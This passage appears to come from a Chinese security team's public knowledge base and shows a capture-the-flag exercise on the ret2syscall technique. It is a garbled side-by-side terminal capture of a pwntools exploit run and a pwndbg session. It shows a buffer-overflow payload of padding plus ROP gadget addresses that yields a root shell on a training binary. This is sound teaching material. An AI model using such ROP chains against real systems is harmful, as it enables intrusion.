[DEBUG] Wrote gdb script to '/tmp/pwnA4EQFw.gdb' │ 0x806d0b3 <__read_nocancel+25> cmp eax, 0xfffff001file ./ret2syscall │ 0x806d0b8 <__read_nocancel+30> jae __syscall_error <0x8070250>handle SIGALRM ignore │ ↓set $_base = 0x8048000 │ 0x8070250 <__syscall_error> neg eax
[*] running in new terminal: /usr/bin/gdb -q "./ret2syscall" 114 -x "/tmp/pwnA4EQFw.gdb" │ 0x8070252 <__syscall_error+2> mov dword ptr gs:[0xffffffe8], eax
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'sp', '-h', '/usr/bin/gdb -q "./ret2syscall" 114 -x │ 0x8070258 <__syscall_error+8> mov eax, 0xffffffff
"/tmp/pwnA4EQFw.gdb"'] │ 0x807025d <__syscall_error+13> ret
[+] Waiting for debugger: Done │────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
[DEBUG] Sent 0x8d bytes: │00:0000│ esp 0xff8583a8 —▸ 0xff8584b8 —▸ 0x8049630 (__libc_csu_fini) ◂— push ebx00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ │01:0004│ 0xff8583ac ◂— 0x1000* │02:0008│ 0xff8583b0 —▸ 0xf7fca000 ◂— 0x000000070 96 b1 0b 08 0b 00 00 00 90 eb 06 08 00 00 00 00 │····│····│····│····│ │03:000c│ 0xff8583b4 —▸ 0x806d0b2 (__read_nocancel+24) ◂— pop ebx00000080 00 00 00 00 08 e4 0b 08 21 94 04 08 0a │····│····│!···│·│ │04:0010│ 0xff8583b8 —▸ 0x80ea200 (_IO_2_1_stdout_) ◂— 0xfbad28870000008d │05:0014│ 0xff8583bc —▸ 0x80518ee (_IO_new_file_underflow+254) ◂— cmp eax, 0
[*] Switching to interactive mode │06:0018│ 0xff8583c0 ◂— 0x0
[DEBUG] Received 0x43 bytes: │07:001c│ 0xff8583c4 —▸ 0xf7fca000 ◂— 0x0'This time, no system() and NO SHELLCODE!!!\n' │──────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────'What do you plan to do?\n' │ ► f 0 f7fcf589 __kernel_vsyscall+9
This time, no system() and NO SHELLCODE!!! │ f 1 806d0b2 __read_nocancel+24
What do you plan to do? │ f 2 80518ee _IO_new_file_underflow+254
$ id │ f 3 8054114 _IO_default_uflow+20
[DEBUG] Sent 0x3 bytes: │ f 4 804f76f gets+287'id\n' │ f 5 8048e9b main+119
[DEBUG] Received 0x27 bytes: │ f 6 804907a __libc_start_main+458'uid=0(root) gid=0(root) groups=0(root)\n' │pwndbg> c
uid=0(root) gid=0(root) groups=0(root) │Continuing.
$ ls │process 114 is executing new program: /bin/dash
[DEBUG] Sent 0x3 bytes: │[New process 126]'ls\n' │process 126 is executing new program: /usr/bin/id
[DEBUG] Received 0x2d bytes: │[Thread debugging using libthread_db enabled]'ret2syscall ret2syscall.py ret2syscall1.py\n' │Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ret2syscall ret2syscall.py ret2syscall1.py │[Inferior 2 (process 126) exited normally]
$ │pwndbg>
[0] 0:python* 4.参考资料
【PWN】ret2syscall | 狼组安全团队公开知识库
